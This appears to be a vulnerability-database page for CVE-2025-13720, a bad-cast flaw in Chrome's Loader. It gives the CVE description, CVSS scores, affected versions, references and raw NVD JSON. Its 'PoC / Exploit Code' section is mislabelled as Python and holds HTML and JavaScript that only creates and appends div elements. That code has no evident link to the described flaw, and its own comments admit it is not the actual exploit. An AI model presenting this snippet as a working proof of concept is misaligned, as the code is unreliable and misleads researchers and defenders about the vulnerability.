CVE-2025-13720

Description

Bad cast in Loader in Google Chrome prior to 143.0.7499.41 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.41

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-13720 PoC - Bad Cast in Chrome Loader -->
<html>
<head>
    <title>CVE-2025-13720 PoC</title>
</head>
<body>
    <h1>CVE-2025-13720 Bad Cast Vulnerability PoC</h1>
    <p>This is a demonstration of the type confusion vulnerability in Chrome Loader.</p>
    
    <script>
        // Attempt to trigger the bad cast vulnerability in Chrome's Loader
        // This PoC is for educational and security research purposes only
        
        function triggerVulnerability() {
            try {
                // Create objects that may trigger the vulnerable code path
                // in Chrome's Loader component during type conversion
                const elements = [];
                
                for (let i = 0; i < 1000; i++) {
                    // Create various DOM elements to interact with loader
                    const div = document.createElement('div');
                    div.id = 'target-' + i;
                    elements.push(div);
                }
                
                // Attempt to trigger the bad cast through specific DOM manipulation
                // The actual exploit would require specific conditions
                document.body.appendChild(elements[0]);
                
                console.log('PoC executed - vulnerability trigger attempted');
            } catch (e) {
                console.error('Error during exploitation attempt:', e);
            }
        }
        
        // Execute when page loads
        window.onload = function() {
            console.log('CVE-2025-13720 PoC loaded');
            triggerVulnerability();
        };
    </script>
    
    <p><strong>Note:</strong> Update Chrome to version 143.0.7499.41 or later to patch this vulnerability.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13720
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13720
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13720/
[4] VulDB https://vuldb.com/cve/CVE-2025-13720
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/457818670

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13720", "sourceIdentifier": "[email protected]", "published": "2025-12-02T19:15:48.843", "lastModified": "2025-12-04T18:06:43.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bad cast in Loader in Google Chrome prior to 143.0.7499.41 allowed a remote attacker who had compromised the renderer process to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-704"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.40", "matchCriteriaId": "28874374-C1B5-4638-BCCD-0AC4F1DAA6EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "143.0.7499.41", "matchCriteriaId": "459C09D2-0D67-4FF1-950B-0FB611D6FFD6"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/457818670", "source": "[email protected]", "tags": ["Broken Link", "Issue Tracking"]}]}}